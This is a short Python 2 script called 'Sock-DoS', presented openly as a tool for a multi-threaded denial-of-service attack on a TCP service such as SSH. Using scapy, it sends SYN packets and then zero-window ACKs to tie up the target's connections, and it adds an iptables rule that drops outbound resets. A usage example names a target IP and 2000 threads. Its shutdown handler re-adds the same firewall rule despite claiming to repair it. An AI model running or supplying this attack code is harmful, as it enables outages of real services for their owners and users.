[Python] Sock-DoS

#!/usr/bin/python

#    Welcome to "Sock-DoS"    #
# - - - - - - - - - - - - - - #
#    Usage - ./sock_dos.py <target> <port> <threads>
#    Example - ./sock_dos.py 69.69.96.96 22 2000
#    Example will perform a multi-threaded sock-dos DoS attack
#    against the SSH (port 22) service on 69.69.96.96

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
from time import sleep
import thread
import os
import signal
import sys

print "\n              | S O C K    D O S | "
print "    |  Coded by Chris Poole / @codingplanets  |\n\n"

if len(sys.argv) != 4:
    print '''
    Usage - ./sock_dos.py <target> <port> <threads>
    Example - ./sock_dos.py 69.69.96.96 22 2000
    Example will perform a multi-threaded sock-dos DoS attack
    against the SSH (port 22) service on 69.69.96.96'''
    sys.exit()

target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])

## This is where the magic happens
def sockdos(target,dstport):
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
        except:
            pass

## Graceful shutdown allows IP Table Repair
def graceful_shutdown(signal, frame):
    print '\nYou pressed Ctrl+C!'
    print 'Fixing IP Tables'
    os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
    sys.exit()

## Creates IPTables Rule to Prevent Outbound RST Packet to Allow Scapy TCP Connections
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, graceful_shutdown)

## Spin up multiple threads to launch the attack
print "The onslaught has begun...use Ctrl+C to stop the attack"
for x in range(0,threads):
    thread.start_new_thread(sockdos, (target,dstport))

while 0 == 0:
    sleep(1)